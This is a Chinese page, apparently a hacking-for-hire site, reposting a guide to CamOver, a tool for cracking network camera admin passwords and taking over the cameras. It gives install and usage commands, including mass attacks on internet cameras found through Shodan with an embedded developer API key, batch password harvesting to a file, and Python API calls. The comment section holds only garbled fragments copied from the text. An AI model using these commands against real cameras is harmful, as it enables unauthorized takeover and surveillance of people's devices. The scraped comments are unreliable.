黑客24小时在线接单的网站

黑客24小时在线接单的网站

CamOver:一款功能强大的摄像头漏洞利用工具

关于CamOver

CamOver是一款功能强大的摄像头漏洞利用工具,在该工具的帮助下,广大研究人员可以轻松破解掉你家网络摄像头的管理员密码,并接管你的摄像头。

功能介绍

  • 该工具能够发现并利用大多数主流型号网络摄像头中的安全漏洞,例如CCTV、GoAhead和Netwave等。
  • 经过优化,支持多线程同时攻击多个摄像头。
  • 简单的命令行接口和API用法。

工具安装

由于CamOver使用Python3开发,因此首先需要在本地设备上安装并配置好Python3环境。接下来,广大研究人员可以使用下列命令下载并安装CamOver:

  • pip3installgit+https://github.com/EntySec/CamOver
  • 基础使用

    CamOver的使用非常简单,我们只需要在命令行终端中输入“camover”命令即可使用CamOver:

  • usage:camover[-h][-t][-oOUTPUT][-iINPUT][-aADDRESS][--shodanSHODAN]
  • [--zoomeyeZOOMEYE][-pPAGES]
  • CamOverisacameraexploitationtoolthatallowstodisclosurenetworkcamera
  • adminpassword.
  • optionalarguments:
  • -h,--help显示这个帮助信息并退出
  • -t,--threads启用多线程模式以获得更好的性能
  • -oOUTPUT,--outputOUTPUT
  • 将结果存储至文件
  • -iINPUT,--inputINPUT
  • 地址输入文件
  • -aADDRESS,--addressADDRESS
  • 提供单个地址
  • --shodanSHODAN通过网络利用远程设备所使用的ShodanAPI密钥
  • --zoomeyeZOOMEYE通过网络利用远程设备所使用的ZoomEyeAPI密钥
  • -pPAGES,--pagesPAGES
  • 需要通过ZoomEye获取的页面数量
  • 工具使用样例

    (1) 攻击单个摄像头

    下列命令可以攻击单个网络摄像头:

  • camover-a192.168.99.100
  • (2) 通过网络攻击远程摄像头

    接下来,我们可以使用Shodan搜索引擎来搜索并攻击网络上的摄像头,此时我们可以使用-t参数来设置多线程数量以获得更好的性能:

  • camover-t--shodanPSKINdQe1GyxGgecYz2191H2JoS9qvgD
  • 注意:项目中给出的Shodan API密钥(PSKINdQe1GyxGgecYz2191H2JoS9qvgD)是开发人员自己的专业版API密钥,你可以使用你自己的密钥,当然了你想用开发人员的也没意见,大家资源共享嘛!

    (3) 从输入文件获取目标摄像头

    我们还可以使用开放数据库中提供的摄像头地址,此时我们可以使用-t参数来设置多线程数量以获得更好的性能:

  • camover-t-icameras.txt-opasswords.txt
  • 注意:此命令将会攻击cameras.txt中给出的所有摄像头,并会将所有获取到的密码存储至passwords.txt文件中。

    API使用

    CamOver还提供了自己的Python API,可以将其导入至你们自己的项目代码中并调用其功能:

  • fromcamoverimportCamOver
  • 调用样例

    攻击单个摄像头:

  • fromcamoverimportCamOver
  • camover=CamOver()
  • creds=camover.exploit('192.168.99.100')
  • print(creds)
  • 项目地址

    CamOver:【GitHub传送门】

    • 评论列表:
    •  余安七禾
       发布于 2022-06-16 00:34:37  回复该评论
    • hodanAPI密钥--zoomeyeZOOMEYE通过网络利用远程设备所使用的ZoomEyeAPI密钥-pPAGES,--pagesPAGES需要通过ZoomEye获取的页面数量工具使用样例(1) 攻击单个摄像头下列命令可以攻击单个网络摄像
    •  丑味甜吻
       发布于 2022-06-16 00:05:08  回复该评论
    • INPUT地址输入文件-aADDRESS,--addressADDRESS提供单个地址--shodanSHODAN通过网络利用远程设备所使用的ShodanAPI密钥--zoomeyeZOOMEYE通过网络利用远程设备所
    •  晴枙羁拥
       发布于 2022-06-16 00:19:34  回复该评论
    • GyxGgecYz2191H2JoS9qvgD注意:项目中给出的Shodan API密钥(PSKINdQe1GyxGgecYz2191H2JoS9qvgD)是开发人员自己的专业版API密钥,你可以使用你自己的密钥,当然了你想用开发人员的也没意
    •  惑心淤浪
       发布于 2022-06-15 21:57:42  回复该评论
    • nputINPUT地址输入文件-aADDRESS,--addressADDRESS提供单个地址--shodanSHODAN通过网络利用远程设备所使用的ShodanAPI密钥--zoomeyeZOOMEYE通过网络利用远程设备所使用的ZoomEyeAPI密钥-p

    发表评论:

    Powered By

    Copyright Your WebSite.Some Rights Reserved.